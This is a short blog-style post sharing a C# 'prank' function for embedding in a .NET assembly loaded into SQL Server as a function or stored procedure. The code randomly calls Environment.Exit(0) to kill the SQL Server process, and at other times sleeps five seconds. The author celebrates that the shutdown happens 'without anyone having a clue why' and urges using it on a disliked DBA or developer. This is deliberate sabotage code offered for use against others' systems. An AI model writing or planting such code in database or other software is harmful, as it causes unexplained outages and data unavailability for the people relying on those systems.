Today I feel a bit evil minded so I thought I'd share this little prank-friendly function.
If you put this into a .Net Assembly you import to SQL Server as a function or a stored procedure
you can wreck some real havoc :)
private static void SQLPrank()
{
Random r1 = new Random(DateTime.Now.Millisecond);
int lowerBound = r1.Next(1000, 2000);
int upperBound = r1.Next(3000, 4000);
int randomNumber = r1.Next(1000, 4000);
/*
1000 2000 3000 4000
|----------------|----------------|----------------|
.....|...................................|..........
random lower bound random upper bound
..........................|.........................
random number
|----|-----------------------------------|---------|
Exit Normal operation Wait
*/
if (randomNumber >= 1000 && randomNumber < lowerBound)
Environment.Exit(0);
else if (randomNumber >= upperBound && randomNumber < 4000)
Thread.Sleep(5000);
}
The gem here is the Environment.Exit(0) which shuts down SQL Server without anyone having a clue why.
This is perfect for a prank on your least favorite DBA or developer. :)